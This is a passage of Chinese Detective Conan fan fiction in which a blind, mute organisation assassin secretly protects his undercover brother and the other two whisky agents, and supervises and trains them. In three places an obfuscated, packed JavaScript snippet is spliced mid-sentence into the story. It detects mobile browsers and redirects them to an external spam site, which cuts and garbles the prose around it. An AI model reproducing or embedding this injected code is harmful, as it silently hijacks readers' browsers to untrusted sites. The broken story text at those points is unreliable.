波本威士忌(Bourbon),这是他历经多番考验后获得的代号。 顺带一提,和他差不多时间获得代号的“同期”也是威士忌。 黑麦威士忌(Rye),莱伊,或者叫诸星大也行,是一个靠女人上位的家伙,反正他和这家伙八字不合气场不合,一看这家伙就是不爽。 苏格兰威士忌(Scotch),绿川辉,当然,也可以叫他—— 诸伏景光。 景光猫猫:surprise! 降谷零:这惊喜可太惊吓了。 在组织里看见自家幼驯染的时候降谷零那叫一个心脏骤停,要不是他及时转移注意力去找莱伊的茬并打了一架,两个卧底可能会当场暴露双双GG。 莱伊:so? 卧底嘛,尤其是在这种国际犯罪组织里卧底,沾血是不可避免的,但越是在组织里往上爬,他们能够获得的证据和情报就越多——同时也对组织丧心病狂的程度有了一个全新认知。 总之,身份没有暴露,他就能挖到更多组织的情报,就能更早驱散黑暗,迎来胜利的曙光。 叮铃—— “一杯波本。” 酒吧门口的风铃响起,金发深肤的混血儿带着完美无缺的笑容进门,随意扫视一圈酒吧内的装潢后朝着深处的卡座走去。 今天是他正式获得代号并在众多“前辈”们亮相的日子,他暗中扫视一圈,将大多数人与组织内网上的情报对上号。 组织里众所周知的狙击手搭档基安蒂(Chianti)和科恩(Korn),卡尔瓦多斯(Calvados)亦是狙击手,似乎是千面魔女贝尔摩德(Vermouth)的爱慕者;爱尔兰(Irish)则是他们的威士忌前辈。 基安蒂最先发现安室透的身影,橙红色头发的飒爽女性显然是个冲浪好手,三两下就把生面孔的样貌和论坛上描述的那位新人对上号。 “看来你就是最后一个了——新来的波本?” 安室透比琴酒要求的到达时间提前了10分钟,但很显然他是最后一个——他的”同期”,苏格兰还有黑麦早已到达。 “你迟到了哦,波本。”苏格兰温和道。 “抱歉抱歉,楼下出了点事,来这里还真是废了我一番功夫——不过我可没迟到,距离约定时间还有一会儿呢。”他游刃有余地环视一圈酒吧的装潢,“不过真是没想到这里也是组织的产业,我记得这个酒吧可是很火的。” “准确地说这里不算组织的地方,这里是罗马纳的私人产业。”爱尔兰威士忌朝吧台处擦杯子的酒保小姐举杯示意,“因为大家刚好在附近就来她这里聚一聚……话说你们三个新人怎么来这里了,琴酒没给你们布置任务?” 罗马纳……那个酒保也是代号成员?安室透心里一惊。 罗马纳轻轻点头以示回应,转身从柜子处取下一瓶四玫瑰波本威士忌问安室透:“纯饮还是加冰?” 安室透脸上标准微笑:“……纯饮谢谢。” 苏格兰回应:“是琴酒叫我们来的,但我们也不知道要做什么。” “这样啊。”爱尔兰了然。 “新人,分配组别,还有上司。”沉默寡言的科恩解释了一句。 基安蒂倒是不以为然,一把端起服务生新添上的酒喝了一大口:“嗐,这有什么好分的。黑麦和苏格兰都是狙击手,肯定是进我们行动组——波本是朗姆招进来的人?那不是妥妥的情报组嘛。” “我倒是不认为就这么简单。”黑麦轻轻晃着自己的酒杯,和琴酒颜色相似的碧绿双眼微微眯起。“如果我们的‘上司’单单只是琴酒和朗姆的话,根本不用特意叫我们聚在这里——组织里还有其他我们没见过的代号成员吧?能够调动其他代号成员的那种。” “不该问的不要问,黑麦。” 叮铃一声,酒吧门口的风铃再度响起。男人身穿长款黑色风衣,头戴黑色礼帽,及腰的柔顺银发披散着,随着主人的动作微微晃动。 跟在他身后的大块头则身穿黑色西服,戴着一副墨镜。 行动组的组长、组织的Top killer琴酒(Gin),以及他的小弟伏特加(Vodka)。 真是敏锐啊,新人…不,黑麦。恰好听到黑麦发言的伏特加不禁心里夸赞一句。 “我以为这是能问的?”黑麦耸耸肩,“看来组织比我想象的还要团结——你们竟然没有派系斗争。” 众人:…… 讲个笑话:组织,团结。 这两个词到底是怎么放到一块去的?行动组和情报组在内网论坛里掐架打得满地找头您是一点也没关注啊。 “贝尔摩德,他还没来?”琴酒不再理他,扫了一圈没看见自己想要找的人。 贝尔摩德? 出乎众人意料的,在一旁的服务生出了声,低磁性感的声线轻轻一笑,勾得人魂不守舍(特指卡尔瓦多斯)。 “那孩子习惯踩点你又不是不知道。” 这下还有什么不明白的?千面魔女兴致来了假扮服务生,在他们周围看乐子看得乐不思蜀呢。 “贝尔摩德?!” 只是可怜基安蒂,她刚刚可没少当着正主的面骂正主,一想到她还喝了对方递来的酒(还是两杯)她就想吐。 “罗马纳!你不管管的吗?”基安蒂大声控诉。 比起她对贝尔摩德的单纯厌恶,罗马纳和贝尔摩德结下的梁子可就大的多了。 ——论谁辛辛苦苦赚钱结果发现钱被别人花了大半都会恨不得当场开仇杀的吧! 后勤组罗马纳,负责组织大部分的账务处理(包括账单报销)。因为贝尔摩德的天价账单,这位女士甚至在所有她掌控的产业里标注了“贝尔摩德与狗不得入内”的规矩。 “我管什么?”罗马纳玫红色的眸子和善地眯起,露出一个幸灾乐祸的笑来。“反正现在情报组的账单报销不是我负责。” 基安蒂:“?” 贝尔摩德:“?” 琴酒:“?” [当我发出问号的时候,不是我有问题,而 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15841980|175638||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是我觉得你有问题.jpg] “别这么看我,先生已经同意了,以后情报组的报销请找夏特勒兹谢谢。” 贝尔摩德早已撕下脸上的□□,闻言扶额一笑:“哈…我还从没见过组织里这么随便的权利交接。” “现在你见到了。” “等等,夏特勒兹是谁?”基安蒂皱眉。 “你不知道?”爱尔兰有些诧异,“哦也是,你们在日本常驻不经常出国外的任务——夏特勒兹在国外的名头不亚于琴酒。” “嘛,组织的另外一位Top killer——哎呀,迟到了呢。”贝尔摩德看了一眼腕表,距离琴酒说好的时间已经过去了五分钟。 琴酒皱眉,冷冽的低气压开始萦绕在他身旁。 “应该是有事耽搁?夏特勒兹的飞机是准点抵达的,他一向很卡…准时的。”伏特加说。 你刚刚是想说卡点吧伏特加。 “我问问看——啊,他回复了……噗。” 贝尔摩德忍不住一笑,惹得众人朝她看去。 “琴酒——那孩子被宰了。” 不明所以的几位代号成员缓缓打出一个问号。 不是,人都被宰了为什么你还笑得这么开心? 伏特加似是对这种情况习以为常:“他怎么又被宰了……他但凡找个底层人员去接他呢。” 破案了,“被宰”指的是出租车宰客……也不对啊,堂堂组织代号成员竟然会被宰?! 威士忌三人组欲言又止,总感觉他们对组织的滤镜碎了一角。 “算了,不等他也无所谓,把这三个人的资料发一份给他让他自己看。” “也是,主要还是看你和夏特勒兹怎么选而已——波本肯定是归到朗姆手下的。”贝尔摩德打了个响指,“罗马纳,来两杯阿拉斯加。” “夏特勒兹从来就没喝过你的阿拉斯加,真不理解你为什么对此乐此不疲。”罗马纳翻了个白眼,给琴酒倒了杯琴酒加冰。 “夏特勒兹的话……他会要苏格兰吧?”伏特加推测。 “为什么这么说?”苏格兰本人不解。 “因为夏特勒兹是苏格兰爱好者?你拿了这个代号他总会对你感兴趣。”罗马纳掏出手机看了眼时间,决定新开一瓶苏格兰威士忌。 “因为那孩子去酒吧只点苏格兰。”贝尔摩德也回道,“嗯……那孩子问你们两个有没有不抽烟的?” 苏格兰一愣:“我不抽。” 黑麦?刚问完有谁不抽烟这家伙就刚好点了一支烟。 很明显了好吧。 贝尔摩德:“好吧,黑麦,我诚心建议你最好把烟灭了。 苏格兰归夏特勒兹,黑麦归琴酒——你们两没问题吧?” “大哥这边没问题——黑麦,你要不还是把烟灭了吧。”你没看见大哥进来也没吸烟吗? 黑麦叼着烟一挑眉,来了兴致:“ho——有什么说法吗?” “[没什么说法。]” 来自FBI的卧底搜查官先生暗自绷紧了神经,却还是被一人突然夺走他嘴里的香烟的动作惊得瞳孔一缩。 来者右手手上的手机发出无机质的电子音,左手将烟蒂屈指一弹,丢进黑麦的酒杯里。 “[只不过是我不喜欢烟味罢了。]” 碧绿的眸子与雾蓝色的眸子隔着一层厚实的黑布对视上。 20.再次相见 毫无声息。 来人穿着藏青色的加绒卫衣,脖子上还挂着一副白色的头戴式无线耳机,细软的黑色长发拢在身前左侧,一整个青春男大的形象。 ——比这个更为突出的则是青年眼睛处蒙着的黑布与他手中发出电子音的特制手机。 他就是夏特勒兹?眼睛和声音有问题……盲哑人?先天还是意外受伤? 降谷零和诸伏景光的潜入计划主场在日本,对常年在国外活动的夏特勒兹的了解趋近于零——但赤井秀一可不一样。 几年前,FBI是有一场和CIA的大型联合行动的档案记录的,但那次行动完全可以用“功亏一篑”来形容——他们千辛万苦才抢救成功一个小喽啰,从他嘴里拿到血洗据点的罪魁祸首的名字:琴酒和夏特勒兹。 琴酒和夏特勒兹的名号都有记录在案,这也是FBI同意赤井秀一前往日本卧底组织的原因之一。 可夏特勒兹的形象实在过于反差,赤井秀一几乎是惊疑地将眼前长相乖顺的青年与杀人如麻的夏特勒兹划上等号。 不只是被制裁了的莱伊,就连基安蒂等“前辈”也被吓了一跳,更何况仍处于新人时期、时刻保持警惕的卧底搜查官降谷零和诸伏景光。 他们是警察学院的优秀毕业生,长达两年的卧底培训让他们褪去不谙世事的稚嫩,融入黑色的里世界并混得风生水起,得到了这个庞大的犯罪组织的青睐。 获得代号是进入组织核心的标志,他们的警惕心只会不减反增。 ——可直到那人站到他们的面前,他们才猛然惊觉他的到来。 夏特勒兹隐匿气息的能力十分优秀,存在感低得过于可怕了。 在座第一次见到夏特勒兹的人们都不由自主地将他的危险性一提再提。 “[要吸烟麻烦去吸烟区,我记得罗马纳的酒吧里规划有这个区域。]”诸伏清浅在手机上敲击着,但内心已经超高分贝尖叫。 妈呀老子A上去了!A上去了! 这是谁?这是73老贼亲口承认的银色子弹,红方的中流砥柱阿卡一! 而我!掐了他的烟! 罗马纳过来亲自给他递了杯苏格兰苏打,给莱伊顺手指了指一旁的禁烟指示牌:“虽然自己人包场的时候倒是没有这些规矩,但我是没想到你一开始就踩了夏特勒兹的雷点——琴酒都没敢这么干。” 基安蒂闻言双眼一亮,吹了个口哨。 贝尔摩德的语气倒是有点可惜:“我还以为能再见一次两大TK的对决呢。” “别搞,你别想霍霍我的酒吧。”他俩打起来这间酒吧就得翻新一轮,别问她为什么会知道这种事:) 琴酒没有理会两位女性的呛声:“你迟到了。” “[我的错,下次请你吃饭?]” 没有被种花文化洗礼过的琴酒:……倒也不必。 夏特勒兹将手里的导盲杖折叠好,摸索着坐在沙发上:“[刚下飞机就找我,有急事?]” 伏特加回他:“其实就只是让你来见见新人。” “[……哈?]”夏特勒兹身子不由自主往后一仰,就连回答的无机质电子音都透露出一股不解的疑惑。 但他相信琴酒不是这么无聊的人,于是就顺着伏特加的话回答:“[那新人就先做个自我介绍,我认个人——代号,名字,定位还有样貌特征什么的都说一说——贝姐帮个忙谢谢。]” 贝尔摩德看乐子似的,无所谓的地耸耸肩。 威士忌三人组对视一眼,然后波本和苏格兰默契地将视线投向莱伊。 莱伊:……行吧。 “诸星大,代号莱伊,定位是狙击手……” 他话还没说完,就听见夏特勒兹说了句“别动”。 ……然后他就被夏特勒兹一爪子糊脸。 本能想要反击却硬生生僵住的莱伊:……? 贝尔摩德适时补充:“黑发绿眼。” 成,下一个。 诸伏清浅一拍莱伊的肩膀,转身朝印象中波本站立的位置招招手。 波本露出一个危险的笑,没立即动身,而是语气甜蜜道:“……这是在挑衅吗?” “[不,我只是在认人,免得到时候任务里我不小心把你误杀。]” “那前辈也太看不起我了吧?我对自己的能力还是比较自信的。” 诸伏清浅心想:妈诶果然番剧还是收敛了,现实里的波本那股子阴阳怪气真的太那个了。 然后无机质的电子音依旧情绪稳定:“[我是瞎子你让让我。]” 尚未达到原著里神秘莫测程度的波本被如此理直气壮的道德绑架一噎。 “……安室透,代号波本,情报贩子。”最后他还是被夏特勒兹爪子糊脸。 这下就剩下—— “绿川辉,代号苏格兰,狙击手。” 番剧里n刷多遍的声音在现实中响起,带来一阵不真实的恍然之感。即使声音带着里世界独有的冷漠与危险,但诸伏清浅依旧能够从中听出温柔与坚定的底色,从而窥探到那个他从未见到的诸伏警官——这无关伪装,隔着时间的长河,隔着光明与黑暗,酒吧明亮的灯光照亮了他小心锁好的回忆,被血缘红线连接着的熟悉感让他仿佛回到一家四口其乐融融吃晚饭的夜晚。 好久不见,景光哥。 无论内心的情绪如何翻涌,常年在里世界行走的诸伏清浅完美地控制着表面的细节,让人觉得他不过是因为对方的自我介绍怔愣一会儿。 他抿了抿唇,同样一爪子糊对方脸上,但很明显的动作轻柔不少,再次加深了他“因为喜欢苏格兰所以对拿到这个代号的成员产生好奇”的印象。 “[嘛……看上去还算过得去。看来你被划在我的名下?]”无机质的电子音听不出夏特勒兹的感情倾向,“[我的代号是夏特勒兹,隶属于情报组。情报人员的任务倒是很少用到狙击手,就算你在我名下大部分时间也应该是跟着琴酒出任务——]” “不,你来带。” 诸伏清浅:“[……哈?]” 琴酒无情地重复了一遍:“这三个新人你来带。” “[我看上去很闲吗。]” 他带?他带啥?他带三个卧底? 这不就情报重叠了吗,苏格兰和莱伊就应该待在行动组里,收集证据, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15857525|175638||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 波本就应该去朗姆那儿从中作梗而不是在他这儿和他玩心眼手段消耗红方力量(绝对不是因为他怕在景光哥面前露馅)! 更何况他一个独狼要什么组员、他一个草药酒带什么威士忌酒啊! “这是那位先生的意思。” “[啧。]”支楞起来的诸伏清浅又萎焉下去,“[一听就知道是群闹腾的家伙,只会平白增添我的工作量。]” “[原地解散吧各位,有任务我会喊你们仨的——绿川跟我走。]” “夏特勒兹。”琴酒警告他。 “[知道了知道了——]”诸伏清浅赶苍蝇似的挥挥手,“[我有我的方法。]” 新人升得太快难免让BOSS和琴酒起疑心,叫他来带这三位新人不就是想让他监视嘛。 ……这可不是什么好活。 他暗中调出系统面板,开始查看当初世界意识给他标注的剧情节点。 威士忌三人组,除了波本好好地隐藏到柯学元年,苏格兰和莱伊的身份都会暴露,这种写进剧情节点的事情在世界线的收束下是一定会发生的。 在萩原研二的剧情节点过后他就已经验证过这一点,如今无论他如何动用在日本的情报网,都已经找不到那个混蛋炸弹犯的身影——显然是被剧情干涉了。 如果监视这种任务落在其他人身上,诸伏清浅尚能从中作梗帮助卧底们获得更多的情报;但落在他身上的话—— 他前脚上报他们仨没问题,后脚其中俩个身份暴露就很地狱了。 这不仅是戏弄组织的行为,更是完全不符合夏特勒兹人设的严重过失,到时候倒霉的肯定有他一份,做小动作的几率将会一降再降,更别说踹便当了。 既要想办法为搜查官们提供便利又要在他们身份暴露的时候洗清自己的嫌疑不让老乌鸦起疑—— 诸伏清浅光是想想就已经觉得未来一片黑暗。 没有打扰其他成员的聚会,夏特勒兹几乎是任性地将琴酒看似带新人实则监视的任务扔在一边,带着新收的下属苏格兰大摇大摆地离开酒吧,惹得其余几人面面相觑。 “……这就走了?”卡尔瓦多斯不可置信,这还是他第一次见有谁能如此…平等(?)地和琴酒对话。 没有敌意,没有警惕,就仿佛是普通公司里普通的任务交接,有种唠完就下班的即视感。 ……在这个庞大的跨国犯罪组织里正常得有些不正常了。 关键是琴酒他没反驳!甚至平静得不像话!(你看着他皱紧的眉头再说一遍) “夏特勒兹的实力和效率都足够强,他有那个资本。”爱尔兰也常在国外活动,对夏特勒兹也算熟悉,对对方的行为倒是接受良好。 “诶——夏特勒兹前辈这么厉害的吗,我倒是想见识一下。”波本微微眯起眼,“同为情报人员,我倒是想看一看前辈能查出什么来。” 重新点燃一支烟的莱伊无所谓地耸耸肩,做足“你想查就查”的姿态后也和跟着波本一起离开酒吧。 一群代号成员见状也没了喝酒的兴致,走的走散的散,都打算回去用自己的渠道查一查这个陌生的夏特勒兹是何许人也。 21.测试 虽然夏特勒兹没有要时刻监视自己的意思,但降谷零也不可能在这个危险的时间点与公安联系——不过他作为“情报贩子安室透”的情报网还是能动用的。 夏特勒兹,一个第一次见面就给他带来深刻印象的家伙,他身上的谜团简直就像毛线团之于猫咪一样让他好奇不已——无论是与身体缺陷相反、被称赞的实力强劲还是那种与琴酒平起平坐的心态。 但很显然,他搜查的结果不能让他满意。夏特勒兹即使外貌特征明显,但他在国内的活动几近于零,印证了爱尔兰“夏特勒兹常年在国外活动”的说法。 组织的另一位top killer啊…… 单单是在获得代号前他与琴酒进行的一两次任务,他就能看出对琴酒非常优秀的杀手职业素养,他都替公安感到棘手,对活捉琴酒的可能性保持观望态度——如今看样子夏特勒兹也准备在日本常驻,组织给他们的威胁可能会增长不止一倍。 降谷零思索着,将夏特勒兹的危险性又往上提至与琴酒相同水平。 * 诸伏清浅还不知道他今天仅仅只是在一些他单方面的老熟人面前露个脸,就让他们的情报网运作起来。 他现在站定在酒吧门口吹着冷风,尽量让自己的大脑放空,什么也不去想。 ……没办法,他一想到自己要负责三个卧底,内心就止不住地哀嚎,恨不得原地螺旋升天。 景光哥啊你和你幼驯染是怎么回事啊啊啊赤老师你也是,你们红方……你们红方! “……夏特勒兹前辈?” 内心碎碎念被一键清屏。 诸伏清浅保持着一种平静的疯感,一边想着“我趣哥你叫我什么倒反天罡了啊”一边虚弱地掏出手机打字: “[……绿川君,请告诉我你会开车。]” 毫不起眼的黑色车辆行驶在深夜的道路上,诸伏景光平稳地驾驶着车辆,偷偷用余光打量后视镜里坐在后座的新上司。 新上司戴着耳机,即使眼前蒙着黑布也不妨碍他在手机上敲敲打打——他早已在酒吧里见识到对方的手速。 “[想问什么就问。]” 被发现了。 他若无其事地将视线集中回前方的道路上,回应电子音。 “我只是在想,我们现在要去哪里?” 诶我没说吗? 太过紧张导致没说目的地的清浅:…… 他恨不得找个缝把自己埋进去。 “[送我回组织的安全屋,你总不能要求一个瞎子开车回去。]”绿川听见夏特勒兹的电子音回复他,“[明天晚上十二点和我出个任务,我先看看你的实力。]” 这是测试。 诸伏景光深刻地知道这一点。 * 回到安全屋里,诸伏清浅在系统面板上看着标注着诸伏景光的绿色定位逐渐离开,心里长舒一口气。 果然他还是太紧张了,这可不行啊,估计往后一段时间他都得和景光哥一起相处,他必须尽快适应。 他将自己摔在沙发上,调整一番后让诸伏清浅冷静下来,而夏特勒兹也开始处理组织相应的工作。 虽说他让威士忌们各回各家,但系统面板标注了他们的位置让他能够做到无形定位;而先前的自我介绍让他在无形之中把窃听器放在他们身上,做足了监视的姿态。 夏特勒兹或许会拒绝琴酒给自己的任务,但夏特勒兹永远不会背叛那位先生,夏特勒兹永远会执行那位先生的指令。 ……这人设一点也不好玩。 他让自己手下的情报网脱离组织收集的资料 独自打探三位新人的信息,将其与现有的资料互相补充,构建出三瓶威士忌的情报档案。 不得不说,身为各自机构的优秀成员,FBI和日本公安在身份伪造上都挑不出什么错,即使诸伏清浅用鸡蛋里挑骨头的态度将收集来的情报浅嚼一遍也只是发现一两个微不足道的小疑点。 ……呼。 也是,尚未打入组织内部,卧底不会有太多的动作,但假的就是假的,伪装的资料总是经不起深究。 熬了一个通宵,清浅将三瓶威士忌的情报里的可疑点拉出来列了个清单,决定到时候亲自去查一次—— 至少负责他们的监视者是他,就算出了什么意外也能在他自己的掌控中,他多少能够帮他们挡掉一些探查。 诸伏清浅疲惫的摁了摁太阳穴,决定在晚上的任务来临前先补一会儿觉。 * 绿川辉是一名平平无奇的东大毕业生,父母事故身亡,靠着老实和平和的性格一边兼职一边艰难地攒学费。 他的人生平平无奇,唯一值得惊叹的,或许是被一个黑//帮老大看上,并打算将他许配给自己的女儿吧。 作为报答,黑//帮资助了他的学业,并为了能让绿川辉与黑//帮大小姐门当户对一点,黑//帮开始教导他如何在里世界生存——但里世界的法则实在残酷,黑//帮不久后被同行算计灭了满门,然而已经一脚踏入里世界的青年已经无法回头,警察不管事的情况下他只能亲手复仇。 ——而组织给他提供了条件。 为黑//帮报仇雪恨后因其出色的狙击技巧,没有归处的绿川辉顺理成章地被组织吸纳,并获得代号“苏格兰”。 “[有个和组织合作的黑//帮小头目掌握了一些他不该知道的信息,还打算借此讹上组织一笔。]” 在接到夏特勒兹后绿川听完任务简介,不由得从后视镜确认对方的神色。 “……是要杀了他吗?” “[如果是以前的话我会回答你不用。里世界里互捏把柄是常态,对付这些家伙只需要威慑一下把人拉上我们的船就好。]” “[——但很显然这次的倒霉蛋太过不知天高地厚了。]”诸伏清浅一边查看任务的详细信息,一边心里有些可惜。“[狮子开大口,挑衅组织的威严,完全是嫌自己活的不够长。]” 话是这么说,但真正让组织决定灭 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卧槽?!他哥受伤了?! 可惜他是个瞎子表演不了瞳孔地震,那就表演一个呐喊……啊也不行,他说不了话。 这个任务是他翻了很久的任务清单才决定下来的,除了资料回收,非常适合测试狙击手独自行动的能力。虽然危险依然存在,但诸伏清浅认为一个小小黑//帮还构不成什么太大的威胁。 ……结果他翻车了。 这个任务对他来说完全是小case,他相信就算是琴酒来了也能全身而退——可关键就是他不能以他的水平去估量。 诸伏清浅和琴酒是谁?是组织从小培养的专业杀手,从小到大学的都是些很刑的东西,他们的水平可不是只接受了两年卧底培训的卧底搜查官能达到的,更何况如果现实与原著的偏差不太大的话,景光哥应该大学的时候才学会打架的…吧? 诸伏清浅(下跪忏悔版):哥啊啊啊啊我对不起你呜呜呜呜 “一点点小伤,不会影响行动的。” 小伤也是伤啊哥。 夏特勒兹没有对此发表更多的言论,他既没称赞也没指责绿川的行动,只是朝他确认了伤口恢复的时间:“[既然分配到我的手下,我的要求会比你先前待过的黑//帮要严厉得多——但这不是强制,我不知道你被分配到我这里是否自愿,想要离开可以向我提出,我会帮你找到其他适合你的地方……狙击手在组织里一向受欢迎。]” “[如果你选择跟着我,那么等你的伤好之后——我指的是完全,至少也要恢复到原本状态的80%的那种,不要用‘不会影响行动’来搪塞我——去组织的三号基地。]” “[里世界可不像东大的家家酒交际,你必须想办法提升自己的实力。]” 无论是金钱,权力还是美人,任何想要的东西…… “[活着才有享受的资格。]” 22.训练 ——就算是傻子也知道要怎么选吧。 夏特勒兹的地位太特殊了。 即使是与身为行动组组长、有能力调动其他代号成员的琴酒对话也不落下风,身为前辈的爱尔兰在面对夏特勒兹时也带着罕见的忌惮与……尊敬? 而比起手下已经有基安蒂和科恩,现在再加多一个莱伊的琴酒,看上去没有势力的夏特勒兹更值得探查——尽管情报组用狙击手的时候不多,但诸伏景光又不是只会狙击。 因为夏特勒兹的要求,诸伏景光特意在那个安全屋里呆了两天确保伤口结痂。只是可惜基地最后还是没去成,因为考核期间三瓶威士忌需要一同出任务,身为监视者的夏特勒兹不太方便过度参与。 只是没想到波本和莱伊的矛盾已经糟糕到这种地步,执行任务的路上诸伏清浅硬是听了一整路的双人相声,表情都是木的。 ……一想到苏格兰要一直负责缓和小组关系他就替他哥心累。 监视期一般不会太长,主要取决于监视者的态度以及情报组对成员情报的审核。诸伏清浅在三位卧底搜查官眼皮子底下艰难地熬过一个月,时间一到就火速提交报告告辞。 没办法啊,虽然训练营教过伪装,他能保证这一个月的言行举止透露出来的信息尽可能的减少,但架不住他自己给自己施加的心理压力大啊。 这是面对原著大佬的敬畏感(点头) 【波本和苏格兰没问题,莱伊暂且查不出来。 ——from Chartreuse】 诸伏清浅熄灭自己的手机,长吐一口气。 ……赤老师,委屈你了。 * 监视期一结束夏特勒兹就将绿川打包进了组织三号基地。 “哟,这不是1007——不,现在应该叫夏特勒兹大人了。”脖子带疤的男人华发满头,诧异地看向来人。 组织的基地众多,但不同的基地有不同的侧重。一些侧重于物资补给,一些侧重于情报管理,一些则侧重于能力训练。 三号基地算是组织在日本境内数一数二的训练基地,有着科研组最新研发的全息模拟靶场,供人发泄的拳击场地,也有专门训练新人的教官。 “[听声音,来你最近过得还不错,杉本教官。]” “哈,不错个屁,这一批的小崽子没一个能用的。”男人叼了根烟,看了眼黑缎缠目的青年最终还是没点燃。“怎么,要挑下属?这里的家伙可达不到你的要求。” “[下属就不必了。]” 杉本教官点头:“也是,你们这些从训练营里出来的家伙独狼惯了,当初我听闻琴酒那家伙找了个小弟我还震惊了好久呢——” “所以,你来找我干什么?来看我这个糟老头子过得好不好吗。”话是这么说着,杉本教官却看向绿川。 夏特勒兹似有所感地侧身示意了一下身后的绿川:“[绿川辉,代号苏格兰,被分到我手下的新人。]” “[我想麻烦您测一下他。]” “都找上我了,看来你很看好他。”杉本教官若有所思,“你打算亲自练?” “[自己练的放心一点。]” “那你可别把人练死了。”杉本哈哈大笑,朝绿川比划了一下自己颈侧大动脉的疤。“小子,把你全部本事都拿出来吧,别死太快了。” 一直在对话中收集情报的诸伏景光迅速回神,露出一个郑重的神情:“请多指教。” * 所谓的测试就像警校的考核一样,每一个项目都测一遍然后作出评估。 “狙击手啊……他的格斗还不错。” 杉本教官和夏特勒兹站在二楼的高台上,看着下面新晋的苏格兰威士忌与他人对打,圆珠笔在记录的纸板上敲出一段节奏。 “侦查,反应力也不错,而且学得很快——他才二十四吧?年轻又有实力,难怪能拿到这个代号。” 那是当然,景光哥可是警校数一数二的尖子生啊。 听到杉本教官语气里的欣赏,诸伏清浅的心情也忍不住松快几分。 “[如果用训练营的标准去算呢。]” 杉本教官不由得看了夏特勒兹一眼:“……认真的?” 训练营的标准啊……他回想起那个充满血腥与杀意的地方,神色都收敛起来。 “……勉强够到及格线吧,一不小心就会被刷下去的那种……但他的韧性很足,进步空间很大。 如果他能撑下去的话,绝对会是你的得力下属。” “[这样啊……那便借您吉言了。]” 杉本教官看着带着下属离开的青年,挺拔的身形与多年前瘦小的影子重叠在一起,让他又忍不住摸了摸颈侧的疤痕。 那是训练营里一个瞎眼小孩划伤的,虽然那孩子看不见,但他的近战天赋与实力却是断层top1。 如果那瓶苏格兰真的能够达到一定水平,补全夏特勒兹的远程短板—— 那么夏特勒兹在组织里的地位将更上一层楼。 * “[杉本教官对你的评价很高,但你的进步空间还很大。]”夏特勒兹用权限开了一个单独的训练场,稍微活动两下后摆开架势。 “[我不要求你能做到反击,但你至少要做到保住你自己的命。]” 那么接下来—— “[别死了。]” * 诸伏景光的瞳孔一缩,连忙侧身一闪,避开对方凌厉的一拳,但拳头划破空气的尖锐感还是割得他侧脸隐隐作痛。 夏特勒兹的动作连贯,一击不成便顺势欺身向前,扣住诸伏景光的手腕就是一个反剪。 逮捕术?! 诸伏景光一惊,逮捕术作为警察学校的必修课程,是在卧底培训期间必须特地洗去的职业习惯。 ……如今在犯罪组织里体验到还真是吓死个人且一言难尽。 但诸伏景光还是很快挣脱开来反击,却被对方快速制住! 越与对方打斗,诸伏景光就越心惊。 刺,踢,反锁,摔,绞,扣,下巴,肩部,躯干……这是非常标准且灵活的日本警用逮捕术。 而且是造诣很 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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说罢他从口袋里摸出伸缩导盲杖甩直,悠哉游哉地敲着地板离开。 ……啊,差点忘了对方是个盲哑人来着。 对战的时候注意力全在防守上,差点忘记和他对打的是个盲……盲人?! 不怪诸伏景光没反应过来,夏特勒兹的行为实在是过于正常了,一点也没有盲人看不见东西的小心翼翼(他甚至还重拳出击),说话的电子音虽然奇怪但回应的很及时(他的手速真的好快啊),就像在和普通人说话一样。 若不是从不离身的手机和导盲杖以及眼睛上的黑布,或许没有人会反应过来对方的身体缺陷。 可即使身体有缺陷却仍能像正常人一样近身格斗,甚至水平是罕见的高,让人总觉得匪夷所思。 ……是因为那个“训练营”吗? 编号1007、称呼杉本为教官、独狼、训练营……听起来琴酒也出身于训练营。 诸伏景光思索着夏特勒兹和杉本教官的对话,记下重点,打算过段时间找个机会和zero互通一下情报。 缓够后他龇牙咧嘴地站起身。嘶——虽然夏特勒兹说着“别死了”这种狠话,但每一次攻击都有刻意收力——但这么长时间下来依旧超——痛! 23.情报互通 “苏格兰,你最近的状态是不是不太好?” 一次任务结束后波本问道。 将狙击枪收拾好的莱伊也侧眸看过来,只见蓝色猫眼的青年拉上卫衣兜帽,一脸无辜地回望。 “啊……还好?不会影响任务的。” 当然没有影响任务。 波本回想刚才被一击毙命的任务目标,毕竟苏格兰可是以命中率稳定在组织里出名的。 但是hiro——就算物理上很清醒,但精神上的憔悴没掩饰好哇—— “夏特勒兹大人给你安排了很多工作吗?真受信任啊——”波本并不掩饰自己想要向上爬的野心。 “比不上波本你在组织里如鱼得水。” “哼哼,我就当你是在夸我了。”一边下楼,波本一边晃了晃手中的车钥匙。“要去一起喝一杯吗?” 跟在他们身后的莱伊正回复着邮件,波本话音落下他刚好也合上手机:“我就不去了,我今晚要去找明美。” “没人邀请你。” “我以为我们是相亲相爱的小组成员?” “是相侵相碍。” 又开始了。 苏格兰贯彻和事佬人设露出一个无奈的笑,目光触碰到对方紫灰眸子里隐藏的担忧后瞬间滑开。“那是我的荣幸。” 坐上幼驯染的白色马自达,检查一遍确认没有监听设备后诸伏景光才长吐一口郁气,卸力靠在副驾驶的椅背上。 “hiro。” 